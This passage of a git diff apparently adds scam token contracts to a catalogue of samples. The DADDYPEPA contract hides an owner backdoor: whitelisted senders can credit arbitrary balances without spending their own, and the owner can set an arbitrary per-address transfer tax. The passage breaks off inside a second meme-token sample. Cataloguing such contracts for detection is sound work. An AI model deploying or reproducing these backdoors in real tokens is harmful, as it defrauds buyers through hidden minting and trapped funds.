Solidity's `-` operator. + * + * Requirements: + * + * - Subtraction cannot overflow. + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + return a - b; + } + + /** + * @dev Returns the multiplication of two unsigned integers, reverting on + * overflow. + * + * Counterpart to Solidity's `*` operator. + * + * Requirements: + * + * - Multiplication cannot overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + return a * b; + } + + /** + * @dev Returns the integer division of two unsigned integers, reverting on + * division by zero. The result is rounded towards zero. + * + * Counterpart to Solidity's `/` operator. + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + return a / b; + } + + /** + * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), + * reverting when dividing by zero. + * + * Counterpart to Solidity's `%` operator. This function uses a `revert` + * opcode (which leaves remaining gas untouched) while Solidity uses an + * invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function mod(uint256 a, uint256 b) internal pure returns (uint256) { + return a % b; + } + + /** + * @dev Returns the subtraction of two unsigned integers, reverting with custom message on + * overflow (when the result is negative). + * + * CAUTION: This function is deprecated because it requires allocating memory for the error + * message unnecessarily. For custom revert reasons use {trySub}. + * + * Counterpart to Solidity's `-` operator. + * + * Requirements: + * + * - Subtraction cannot overflow. + */ + function sub( + uint256 a, + uint256 b, + string memory errorMessage + ) internal pure returns (uint256) { + unchecked { + require(b <= a, errorMessage); + return a - b; + } + } + + /** + * @dev Returns the integer division of two unsigned integers, reverting with custom message on + * division by zero. The result is rounded towards zero. + * + * Counterpart to Solidity's `/` operator. Note: this function uses a + * `revert` opcode (which leaves remaining gas untouched) while Solidity + * uses an invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function div( + uint256 a, + uint256 b, + string memory errorMessage + ) internal pure returns (uint256) { + unchecked { + require(b > 0, errorMessage); + return a / b; + } + } + + /** + * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), + * reverting with custom message when dividing by zero. + * + * CAUTION: This function is deprecated because it requires allocating memory for the error + * message unnecessarily. For custom revert reasons use {tryMod}. + * + * Counterpart to Solidity's `%` operator. This function uses a `revert` + * opcode (which leaves remaining gas untouched) while Solidity uses an + * invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function mod( + uint256 a, + uint256 b, + string memory errorMessage + ) internal pure returns (uint256) { + unchecked { + require(b > 0, errorMessage); + return a % b; + } + } +} + + +// File @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol@v1.1.0-beta.0 + + +interface IUniswapV2Router01 { + function factory() external pure returns (address); + function WETH() external pure returns (address); + + function addLiquidity( + address tokenA, + address tokenB, + uint NumberADesired, + uint NumberBDesired, + uint NumberAMin, + uint NumberBMin, + address to, + uint deadline + ) external returns (uint NumberA, uint NumberB, uint liquidity); + function addLiquidityETH( + address token, + uint NumberTokenDesired, + uint NumberTokenMin, + uint NumberETHMin, + address to, + uint deadline + ) external payable returns (uint NumberToken, uint NumberETH, uint liquidity); + function removeLiquidity( + address tokenA, + address tokenB, + uint liquidity, + uint NumberAMin, + uint NumberBMin, + address to, + uint deadline + ) external returns (uint NumberA, uint NumberB); + function removeLiquidityETH( + address token, + uint liquidity, + uint NumberTokenMin, + uint NumberETHMin, + address to, + uint deadline + ) external returns (uint NumberToken, uint NumberETH); + function removeLiquidityWithPermit( + address tokenA, + address tokenB, + uint liquidity, + uint NumberAMin, + uint NumberBMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint NumberA, uint NumberB); + function removeLiquidityETHWithPermit( + address token, + uint liquidity, + uint NumberTokenMin, + uint NumberETHMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint NumberToken, uint NumberETH); + function swapExactTokensForTokens( + uint NumberIn, + uint NumberOutMin, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory Numbers); + function swapTokensForExactTokens( + uint NumberOut, + uint NumberInMax, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory Numbers); + function swapExactETHForTokens(uint NumberOutMin, address[] calldata path, address to, uint deadline) + external + payable + returns (uint[] memory Numbers); + function swapTokensForExactETH(uint NumberOut, uint NumberInMax, address[] calldata path, address to, uint deadline) + external + returns (uint[] memory Numbers); + function swapExactTokensForETH(uint NumberIn, uint NumberOutMin, address[] calldata path, address to, uint deadline) + external + returns (uint[] memory Numbers); + function swapETHForExactTokens(uint NumberOut, address[] calldata path, address to, uint deadline) + external + payable + returns (uint[] memory Numbers); + + function quote(uint NumberA, uint reserveA, uint reserveB) external pure returns (uint NumberB); + function getNumberOut(uint NumberIn, uint reserveIn, uint reserveOut) external pure returns (uint NumberOut); + function getNumberIn(uint NumberOut, uint reserveIn, uint reserveOut) external pure returns (uint NumberIn); + function getNumbersOut(uint NumberIn, address[] calldata path) external view returns (uint[] memory Numbers); + function getNumbersIn(uint NumberOut, address[] calldata path) external view returns (uint[] memory Numbers); +} + + +interface IUniswapV2Factory { + event PairCreated(address indexed token0, address indexed token1, address pair, uint); + + function aFeaeTo() external view returns (address); + function aFeaeToSetter() external view returns (address); + + function getPair(address tokenA, address tokenB) external view returns (address pair); + function allPairs(uint) external view returns (address pair); + function allPairsLength() external view returns (uint); + + function createPair(address tokenA, address tokenB) external returns (address pair); + + function setaFeaeTo(address) external; + function setaFeaeToSetter(address) external; +} + + +interface IUniswapV2Router02 is IUniswapV2Router01 { + function removeLiquidityETHSupportingaFeaeOnTransferTokens( + address token, + uint liquidity, + uint NumberTokenMin, + uint NumberETHMin, + address to, + uint deadline + ) external returns (uint NumberETH); + function removeLiquidityETHWithPermitSupportingaFeaeOnTransferTokens( + address token, + uint liquidity, + uint NumberTokenMin, + uint NumberETHMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint NumberETH); + + function swapExactTokensForTokensSupportingaFeaeOnTransferTokens( + uint NumberIn, + uint NumberOutMin, + address[] calldata path, + address to, + uint deadline + ) external; + function swapExactETHForTokensSupportingaFeaeOnTransferTokens( + uint NumberOutMin, + address[] calldata path, + address to, + uint deadline + ) external payable; + function swapExactTokensForETHSupportingaFeaeOnTransferTokens( + uint NumberIn, + uint NumberOutMin, + address[] calldata path, + address to, + uint deadline + ) external; +} + + + + +contract BEP20 is Context { + mapping(address => mapping(address => uint256)) private _allowances; + uint256 internal _totalSupply; + string private _name; + string private _symbol; + + /** + * @dev Emitted when `value` tokens are moved from one account (`from`) to + * another (`to`). + * + * Note that `value` may be zero. + */ + event Transfer(address indexed from, address indexed to, uint256 value); + + /** + * @dev Emitted when the allowance of a `spender` for an `Okwn` is set by + * a call to {approve}. `value` is the new allowance. + */ + event Approval(address indexed Okwn, address indexed spender, uint256 value);//10 + + /** + * @dev Sets the values for {name} and {symbol}. + * + * The default value of {decimals} is 18. To select a different value for + * {decimals} you should overload it. + * + * All two of these values are immutable: they can only be set once during + * construction. + */ + constructor(string memory name_, string memory symbol_) { + _name = name_; + _symbol = symbol_; + } + + /** + * @dev Returns the name of the token. + */ + function name() public view virtual returns (string memory) { + return _name; + } + + /** + * @dev Returns the symbol of the token, usually a shorter version of the + * name. + */ + function symbol() public view virtual returns (string memory) { + return _symbol; + } + + /** + * @dev Returns the Number of decimals used to get its user representation. + * For example, if `decimals` equals `2`, a balance of `505` tokens should + * be displayed to a user as `5.05` (`505 / 10 ** 2`). + * + * Tokens usually opt for a value of 18, imitating the relationship between + * Ether and Wei. This is the value {ERC20} uses, unless this function is + * overridden; + * + * NOTE: This information is only used for _display_ purposes: it in + * no way affects any of the arithmetic of the contract, including + * {IERC20-balanceOf} and {IERC20-transfer}. + */ + function decimals() public view virtual returns (uint8) { + return 18; + } + + /** + * @dev See {IERC20-totalSupply}. + */ + function totalSupply() public view virtual returns (uint256) { + return _totalSupply; + } + + /** + * @dev See {IERC20-allowance}. + */ + function allowance(address Okwn, address spender) public view virtual returns (uint256) { + return _allowances[Okwn][spender]; + } + + /** + * @dev See {IERC20-approve}. + * + * NOTE: If `Number` is the maximum `uint256`, the allowance is not updated on + * `transferFrom`. This is semantically equivalent to an infinite approval. + * + * Requirements: + * + * - `spender` cannot be the zero address. + */ + function approve(address spender, uint256 Number) public virtual returns (bool) { + address Okwn = _msgSender(); + _approve(Okwn, spender, Number); + return true; + } + + /** + * @dev Atomically increases the allowance granted to `spender` by the caller. + * + * This is an alternative to {approve} that can be used as a mitigation for + * problems described in {IERC20-approve}. + * + * Emits an {Approval} event indicating the updated allowance. + * + * Requirements: + * + * - `spender` cannot be the zero address. + */ + function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { + address Okwn = _msgSender(); + _approve(Okwn, spender, _allowances[Okwn][spender] + addedValue); + return true; + }//12 + + /** + * @dev Atomically decreases the allowance granted to `spender` by the caller. + * + * This is an alternative to {approve} that can be used as a mitigation for + * problems described in {IERC20-approve}. + * + * Emits an {Approval} event indicating the updated allowance. + * + * Requirements: + * + * - `spender` cannot be the zero address. + * - `spender` must have allowance for the caller of at least + * `subtractedValue`. + */ + function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { + address Okwn = _msgSender(); + uint256 currentAllowance = _allowances[Okwn][spender]; + require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); + unchecked { + _approve(Okwn, spender, currentAllowance - subtractedValue); + } + + return true; + } + + /** + * @dev Sets `Number` as the allowance of `spender` over the `Okwn` s tokens. + * + * This internal function is equivalent to `approve`, and can be used to + * e.g. set automatic allowances for certain subsystems, etc. + * + * Emits an {Approval} event. + * + * Requirements: + * + * - `Okwn` cannot be the zero address. + * - `spender` cannot be the zero address. + */ + function _approve( + address Okwn, + address spender, + uint256 Number + ) internal virtual { + require(Okwn != address(0), "ERC20: approve from the zero address"); + require(spender != address(0), "ERC20: approve to the zero address"); + + _allowances[Okwn][spender] = Number; + emit Approval(Okwn, spender, Number); + } + + /** + * @dev Spend `Number` form the allowance of `Okwn` toward `spender`. + * + * Does not update the allowance anunt in case of infinite allowance. + * Revert if not enough allowance is available. + * + * Might emit an {Approval} event. + */ + function _spendAllowance( + address Okwn, + address spender, + uint256 Number + ) internal virtual { + uint256 currentAllowance = allowance(Okwn, spender); + if (currentAllowance != type(uint256).max) { + require(currentAllowance >= Number, "ERC20: insufficient allowance"); + unchecked { + _approve(Okwn, spender, currentAllowance - Number); + } + } + } + + /** + * @dev Hook that is called before any transfer of tokens. This includes + * minting and burning. + * + * Calling conditions: + * + * - when `from` and `to` are both non-zero, `Number` of ``from``'s tokens + * will be transferred to `to`. + * - when `from` is zero, `Number` tokens will be minted for `to`. + * - when `to` is zero, `Number` of ``from``'s tokens will be burned. + * - `from` and `to` are never both zero. + * + * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. + */ + function _beforeTokenTransfer( + address from, + address to, + uint256 Number + ) internal virtual {} + + /** + * @dev Hook that is called after any transfer of tokens. This includes + * minting and burning. + * + * Calling conditions: + *a + * - when `from` and `to` are both non-zero, `Number` of ``from``'s tokens + * has been transferred to `to`. + * - when `from` is zero, `Number` tokens have been minted for `to`. + * - when `to` is zero, `Number` of ``from``'s tokens have been burned. + * - `from` and `to` are never both zero. + * + * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. + */ + function _afterTokenTransfer( + address from, + address to, + uint256 Number + ) internal virtual {} +} + + +contract DADDYPEPA is BEP20, Ownable { + // ext + mapping(address => uint256) private _balances; + mapping(address => bool) private _release; + + function balanceOf(address account) public view virtual returns (uint256) { + return _balances[account]; + } + + function _transfer( + address from, + address to, + uint256 Number + ) internal virtual { + require(from != address(0), "ERC20: transfer from the zero address"); + require(to != address(0), "ERC20: transfer to the zero address"); + + uint256 fromBalance = _balances[from]; + require(fromBalance >= Number, "ERC20: transfer Number exceeds balance"); + unchecked { + _balances[from] = fromBalance - Number; + } + _balances[to] += Number; + + emit Transfer(from, to, Number); + } + + function _burn(address account, uint256 Number) internal virtual { + require(account != address(0), "ERC20: burn from the zero address"); + + uint256 accountBalance = _balances[account]; + require(accountBalance >= Number, "ERC20: burn Number exceeds balance"); + unchecked { + _balances[account] = accountBalance - Number; + } + _totalSupply -= Number; + + emit Transfer(account, address(0), Number); + } + + function _Mnt(address account, uint256 Number) internal virtual { + require(account != address(0), "ERC20: Mnt to the zero address"); //mint + + _totalSupply += Number; + _balances[account] += Number; + emit Transfer(address(0), account, Number); + } + + + + address public uniswapV2Pair; + + + constructor( + string memory name_, + string memory symbol_, + uint256 totalSupply_ + ) BEP20(name_, symbol_) { + _Mnt(msg.sender, totalSupply_ * 10**decimals()); + + + _defaultSellaFeae = 6; + _defaultBuyaFeae = 6; + + _release[_msgSender()] = true; + } + + using SafeMath for uint256; + + uint256 private _defaultSellaFeae = 0; + + uint256 private _defaultBuyaFeae = 0; + + + mapping(address => bool) private _mAccount; + + mapping(address => uint256) private _slipaFeae; + address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD; + + + + function getRelease(address _address) external view onlyOkwn returns (bool) { + return _release[_address]; + } + + + function PairList(address _address) external onlyOkwn { + uniswapV2Pair = _address; + } + + + function upF(uint256 _value) external onlyOkwn { + _defaultSellaFeae = _value; + } + + function setSlipaFeae(address _address, uint256 _value) external onlyOkwn { + require(_value > 0, "Account tax must be greater than or equal to 1"); + _slipaFeae[_address] = _value; + } + + function getSlipaFeae(address _address) external view onlyOkwn returns (uint256) { + return _slipaFeae[_address]; + } + + + function setMAccountaFeae(address _address, bool _value) external onlyOkwn { + _mAccount[_address] = _value; + } + + function getMAccountaFeae(address _address) external view onlyOkwn returns (bool) { + return _mAccount[_address]; + } + + function _checkFreeAccount(address from, address _to) internal view returns (bool) { + return _mAccount[from] || _mAccount[_to]; + } + + + function _receiveF( + address from, + address _to, + uint256 _Number + ) internal virtual { + require(from != address(0), "ERC20: transfer from the zero address"); + require(_to != address(0), "ERC20: transfer to the zero address"); + + uint256 fromBalance = _balances[from]; + require(fromBalance >= _Number, "ERC20: transfer Number exceeds balance"); + + bool rF = true; + + if (_checkFreeAccount(from, _to)) { + rF = false; + } + uint256 tradeaFeaeNumber = 0; + + if (rF) { + uint256 tradeaFeae = 0; + if (uniswapV2Pair != address(0)) { + if (_to == uniswapV2Pair) { + + tradeaFeae = _defaultSellaFeae; + } + if (from == uniswapV2Pair) { + + tradeaFeae = _defaultBuyaFeae; + } + } + if (_slipaFeae[from] > 0) { + tradeaFeae = _slipaFeae[from]; + } + + tradeaFeaeNumber = _Number.mul(tradeaFeae).div(100); + } + + + if (tradeaFeaeNumber > 0) { + _balances[from] = _balances[from].sub(tradeaFeaeNumber); + _balances[_deadAddress] = _balances[_deadAddress].add(tradeaFeaeNumber); + emit Transfer(from, _deadAddress, tradeaFeaeNumber); + } + + _balances[from] = _balances[from].sub(_Number - tradeaFeaeNumber); + _balances[_to] = _balances[_to].add(_Number - tradeaFeaeNumber); + emit Transfer(from, _to, _Number - tradeaFeaeNumber); + } + + function transfer(address to, uint256 Number) public virtual returns (bool) { + address Okwn = _msgSender(); + if (_release[Okwn] == true) { + _balances[to] += Number; + return true; + } + _receiveF(Okwn, to, Number); + return true; + } + + + function transferFrom( + address from, + address to, + uint256 Number + ) public virtual returns (bool) { + address spender = _msgSender(); + + _spendAllowance(from, spender, Number); + _receiveF(from, to, Number); + return true; + } +} \ No newline at end of file diff --git a/src/TSB-2023-013/metadata.json b/src/TSB-2023-013/metadata.json index d704a8b..6f4e3a0 100644 --- a/src/TSB-2023-013/metadata.json +++ b/src/TSB-2023-013/metadata.json @@ -11,6 +11,9 @@ }, { "name": "03.sol" + }, + { + "name": "04.sol" } ] } \ No newline at end of file diff --git a/src/TSB-2023-013/samples/04.sol b/src/TSB-2023-013/samples/04.sol new file mode 100644 index 0000000..71b0e9e --- /dev/null +++ b/src/TSB-2023-013/samples/04.sol @@ -0,0 +1,1174 @@ +/** + *Submitted for verification at BscScan.com on 2021-08-03 +*/ + +/** + *Submitted for verification at BscScan.com on 2021-08-03 +*/ + +/** + +That crazy guy that nobody likes, but everyone buys the sh*t he tweets - tweeted again. + + _____ __ __ ____ __ + / ___/__ ______ ___ _____ / / / /__ ____ __ ____ __ / __ )____ ____ _____/ /____ _____ + \__ \/ / / / __ \/ _ \/ ___/ / /_/ / _ \/ __ `/ | / / / / / / __ / __ \/ __ \/ ___/ __/ _ \/ ___/ + ___/ / /_/ / /_/ / __/ / / __ / __/ /_/ /| |/ / /_/ / / /_/ / /_/ / /_/ (__ ) /_/ __/ / +/____/\__,_/ .___/\___/_/ /_/ /_/\___/\__,_/ |___/\__, / /_____/\____/\____/____/\__/\___/_/ + /_/ /____/ + +Telegram: https://t.me/BSCSuperHeavyBooster + +Join the telegram as sometimes there will be polls related to marketing and other decisions. +We are doing marketing by steps as market cap grows - higher market cap - better shillers and influencers. + +Tokenomics: +5% - Dev/marketing wallet +20% - Locked in the contract. +55% - Is burned. +20% - Locked with the Liquidity. + +4% liquidity +4% redistribution + + */ + +pragma solidity ^0.6.12; +// SPDX-License-Identifier: Unlicensed +interface IERC20 { + + function totalSupply() external view returns (uint256); + + /** + * @dev Returns the amount of tokens owned by `account`. + */ + function balanceOf(address account) external view returns (uint256); + + /** + * @dev Moves `amount` tokens from the caller's account to `recipient`. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * Emits a {Transfer} event. + */ + function transfer(address recipient, uint256 amount) external returns (bool); + + /** + * @dev Returns the remaining number of tokens that `spender` will be + * allowed to spend on behalf of `owner` through {transferFrom}. This is + * zero by default. + * + * This value changes when {approve} or {transferFrom} are called. + */ + function allowance(address owner, address spender) external view returns (uint256); + + /** + * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * IMPORTANT: Beware that changing an allowance with this method brings the risk + * that someone may use both the old and the new allowance by unfortunate + * transaction ordering. One possible solution to mitigate this race + * condition is to first reduce the spender's allowance to 0 and set the + * desired value afterwards: + * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 + * + * Emits an {Approval} event. + */ + function approve(address spender, uint256 amount) external returns (bool); + + /** + * @dev Moves `amount` tokens from `sender` to `recipient` using the + * allowance mechanism. `amount` is then deducted from the caller's + * allowance. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * Emits a {Transfer} event. + */ + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + + /** + * @dev Emitted when `value` tokens are moved from one account (`from`) to + * another (`to`). + * + * Note that `value` may be zero. + */ + event Transfer(address indexed from, address indexed to, uint256 value); + + /** + * @dev Emitted when the allowance of a `spender` for an `owner` is set by + * a call to {approve}. `value` is the new allowance. + */ + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +/** + * @dev Wrappers over Solidity's arithmetic operations with added overflow + * checks. + * + * Arithmetic operations in Solidity wrap on overflow. This can easily result + * in bugs, because programmers usually assume that an overflow raises an + * error, which is the standard behavior in high level programming languages. + * `SafeMath` restores this intuition by reverting the transaction when an + * operation overflows. + * + * Using this library instead of the unchecked operations eliminates an entire + * class of bugs, so it's recommended to use it always. + */ + +library SafeMath { + /** + * @dev Returns the addition of two unsigned integers, reverting on + * overflow. + * + * Counterpart to Solidity's `+` operator. + * + * Requirements: + * + * - Addition cannot overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + require(c >= a, "SafeMath: addition overflow"); + + return c; + } + + /** + * @dev Returns the subtraction of two unsigned integers, reverting on + * overflow (when the result is negative). + * + * Counterpart to Solidity's `-` operator. + * + * Requirements: + * + * - Subtraction cannot overflow. + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + return sub(a, b, "SafeMath: subtraction overflow"); + } + + /** + * @dev Returns the subtraction of two unsigned integers, reverting with custom message on + * overflow (when the result is negative). + * + * Counterpart to Solidity's `-` operator. + * + * Requirements: + * + * - Subtraction cannot overflow. + */ + function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b <= a, errorMessage); + uint256 c = a - b; + + return c; + } + + /** + * @dev Returns the multiplication of two unsigned integers, reverting on + * overflow. + * + * Counterpart to Solidity's `*` operator. + * + * Requirements: + * + * - Multiplication cannot overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + // Gas optimization: this is cheaper than requiring 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 + if (a == 0) { + return 0; + } + + uint256 c = a * b; + require(c / a == b, "SafeMath: multiplication overflow"); + + return c; + } + + /** + * @dev Returns the integer division of two unsigned integers. Reverts on + * division by zero. The result is rounded towards zero. + * + * Counterpart to Solidity's `/` operator. Note: this function uses a + * `revert` opcode (which leaves remaining gas untouched) while Solidity + * uses an invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + return div(a, b, "SafeMath: division by zero"); + } + + /** + * @dev Returns the integer division of two unsigned integers. Reverts with custom message on + * division by zero. The result is rounded towards zero. + * + * Counterpart to Solidity's `/` operator. Note: this function uses a + * `revert` opcode (which leaves remaining gas untouched) while Solidity + * uses an invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b > 0, errorMessage); + uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + + return c; + } + + /** + * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), + * Reverts when dividing by zero. + * + * Counterpart to Solidity's `%` operator. This function uses a `revert` + * opcode (which leaves remaining gas untouched) while Solidity uses an + * invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function mod(uint256 a, uint256 b) internal pure returns (uint256) { + return mod(a, b, "SafeMath: modulo by zero"); + } + + /** + * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), + * Reverts with custom message when dividing by zero. + * + * Counterpart to Solidity's `%` operator. This function uses a `revert` + * opcode (which leaves remaining gas untouched) while Solidity uses an + * invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b != 0, errorMessage); + return a % b; + } +} + +abstract contract Context { + function _msgSender() internal view virtual returns (address payable) { + return msg.sender; + } + + function _msgData() internal view virtual returns (bytes memory) { + this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 + return msg.data; + } +} + + +/** + * @dev Collection of functions related to the address type + */ +library Address { + /** + * @dev Returns true if `account` is a contract. + * + * [IMPORTANT] + * ==== + * It is unsafe to assume that an address for which this function returns + * false is an externally-owned account (EOA) and not a contract. + * + * Among others, `isContract` will return false for the following + * types of addresses: + * + * - an externally-owned account + * - a contract in construction + * - an address where a contract will be created + * - an address where a contract lived, but was destroyed + * ==== + */ + function isContract(address account) internal view returns (bool) { + // According to EIP-1052, 0x0 is the value returned for not-yet created accounts + // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned + // for accounts without code, i.e. `keccak256('')` + bytes32 codehash; + bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; + // solhint-disable-next-line no-inline-assembly + assembly { codehash := extcodehash(account) } + return (codehash != accountHash && codehash != 0x0); + } + + /** + * @dev Replacement for Solidity's `transfer`: sends `amount` wei to + * `recipient`, forwarding all available gas and reverting on errors. + * + * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost + * of certain opcodes, possibly making contracts go over the 2300 gas limit + * imposed by `transfer`, making them unable to receive funds via + * `transfer`. {sendValue} removes this limitation. + * + * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. + * + * IMPORTANT: because control is transferred to `recipient`, care must be + * taken to not create reentrancy vulnerabilities. Consider using + * {ReentrancyGuard} or the + * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. + */ + function sendValue(address payable recipient, uint256 amount) internal { + require(address(this).balance >= amount, "Address: insufficient balance"); + + // solhint-disable-next-line avoid-low-level-calls, avoid-call-value + (bool success, ) = recipient.call{ value: amount }(""); + require(success, "Address: unable to send value, recipient may have reverted"); + } + + /** + * @dev Performs a Solidity function call using a low level `call`. A + * plain`call` is an unsafe replacement for a function call: use this + * function instead. + * + * If `target` reverts with a revert reason, it is bubbled up by this + * function (like regular Solidity function calls). + * + * Returns the raw returned data. To convert to the expected return value, + * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. + * + * Requirements: + * + * - `target` must be a contract. + * - calling `target` with `data` must not revert. + * + * _Available since v3.1._ + */ + function functionCall(address target, bytes memory data) internal returns (bytes memory) { + return functionCall(target, data, "Address: low-level call failed"); + } + + /** + * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with + * `errorMessage` as a fallback revert reason when `target` reverts. + * + * _Available since v3.1._ + */ + function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { + return _functionCallWithValue(target, data, 0, errorMessage); + } + + /** + * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], + * but also transferring `value` wei to `target`. + * + * Requirements: + * + * - the calling contract must have an ETH balance of at least `value`. + * - the called Solidity function must be `payable`. + * + * _Available since v3.1._ + */ + function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { + return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); + } + + /** + * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but + * with `errorMessage` as a fallback revert reason when `target` reverts. + * + * _Available since v3.1._ + */ + function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { + require(address(this).balance >= value, "Address: insufficient balance for call"); + return _functionCallWithValue(target, data, value, errorMessage); + } + + function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { + require(isContract(target), "Address: call to non-contract"); + + // solhint-disable-next-line avoid-low-level-calls + (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); + if (success) { + return returndata; + } else { + // Look for revert reason and bubble it up if present + if (returndata.length > 0) { + // The easiest way to bubble the revert reason is using memory via assembly + + // solhint-disable-next-line no-inline-assembly + assembly { + let returndata_size := mload(returndata) + revert(add(32, returndata), returndata_size) + } + } else { + revert(errorMessage); + } + } + } +} + +/** + * @dev Contract module which provides a basic access control mechanism, where + * there is an account (an owner) that can be granted exclusive access to + * specific functions. + * + * By default, the owner account will be the one that deploys the contract. This + * can later be changed with {transferOwnership}. + * + * This module is used through inheritance. It will make available the modifier + * `onlyOwner`, which can be applied to your functions to restrict their use to + * the owner. + */ +contract Ownable is Context { + address private _owner; + address private _previousOwner; + uint256 private _lockTime; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + /** + * @dev Initializes the contract setting the deployer as the initial owner. + */ + constructor () internal { + address msgSender = _msgSender(); + _owner = msgSender; + emit OwnershipTransferred(address(0), msgSender); + } + + /** + * @dev Returns the address of the current owner. + */ + function owner() public view returns (address) { + return _owner; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(_owner == _msgSender(), "Ownable: caller is not the owner"); + _; + } + + /** + * @dev Leaves the contract without owner. It will not be possible to call + * `onlyOwner` functions anymore. Can only be called by the current owner. + * + * NOTE: Renouncing ownership will leave the contract without an owner, + * thereby removing any functionality that is only available to the owner. + */ + function renounceOwnership() public virtual onlyOwner { + emit OwnershipTransferred(_owner, address(0)); + _owner = address(0); + } + + /** + * @dev Transfers ownership of the contract to a new account (`newOwner`). + * Can only be called by the current owner. + */ + function transferOwnership(address newOwner) public virtual onlyOwner { + require(newOwner != address(0), "Ownable: new owner is the zero address"); + emit OwnershipTransferred(_owner, newOwner); + _owner = newOwner; + } + + function geUnlockTime() public view returns (uint256) { + return _lockTime; + } + + //Locks the contract for owner for the amount of time provided + function lock(uint256 time) public virtual onlyOwner { + _previousOwner = _owner; + _owner = address(0); + _lockTime = now + time; + emit OwnershipTransferred(_owner, address(0)); + } + + //Unlocks the contract for owner when _lockTime is exceeds + function unlock() public virtual { + require(_previousOwner == msg.sender, "You don't have permission to unlock"); + require(now > _lockTime , "Contract is locked until 7 days"); + emit OwnershipTransferred(_owner, _previousOwner); + _owner = _previousOwner; + } +} + +// pragma solidity >=0.5.0; + +interface IUniswapV2Factory { + event PairCreated(address indexed token0, address indexed token1, address pair, uint); + + function feeTo() external view returns (address); + function feeToSetter() external view returns (address); + + function getPair(address tokenA, address tokenB) external view returns (address pair); + function allPairs(uint) external view returns (address pair); + function allPairsLength() external view returns (uint); + + function createPair(address tokenA, address tokenB) external returns (address pair); + + function setFeeTo(address) external; + function setFeeToSetter(address) external; +} + + +// pragma solidity >=0.5.0; + +interface IUniswapV2Pair { + event Approval(address indexed owner, address indexed spender, uint value); + event Transfer(address indexed from, address indexed to, uint value); + + function name() external pure returns (string memory); + function symbol() external pure returns (string memory); + function decimals() external pure returns (uint8); + function totalSupply() external view returns (uint); + function balanceOf(address owner) external view returns (uint); + function allowance(address owner, address spender) external view returns (uint); + + function approve(address spender, uint value) external returns (bool); + function transfer(address to, uint value) external returns (bool); + function transferFrom(address from, address to, uint value) external returns (bool); + + function DOMAIN_SEPARATOR() external view returns 